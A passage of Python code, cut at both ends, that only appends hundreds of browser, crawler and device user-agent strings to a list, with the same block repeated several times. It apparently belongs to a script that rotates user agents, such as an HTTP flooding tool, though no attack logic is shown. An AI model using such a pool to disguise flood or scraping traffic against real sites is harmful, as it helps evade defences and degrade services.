3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; 